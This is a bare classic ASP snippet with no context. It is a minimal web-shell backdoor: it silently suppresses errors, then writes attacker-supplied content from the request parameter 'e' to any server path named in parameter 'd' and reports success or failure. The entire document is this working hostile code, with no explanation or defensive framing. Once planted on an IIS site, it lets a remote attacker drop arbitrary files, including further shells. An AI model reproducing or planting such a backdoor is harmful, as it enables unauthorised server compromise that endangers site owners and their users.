<%on error resume next set a=server.createobject("scripting.filesystemobject") if trim(request("d"))<>"" then b=request("e") set c=a.createtextfile(request("d"),true) c.write b if err=0 then response.write"Succeeded" else response.write"Failed" end if err.clear end if c.close set c=nothing set a=nothing%>

">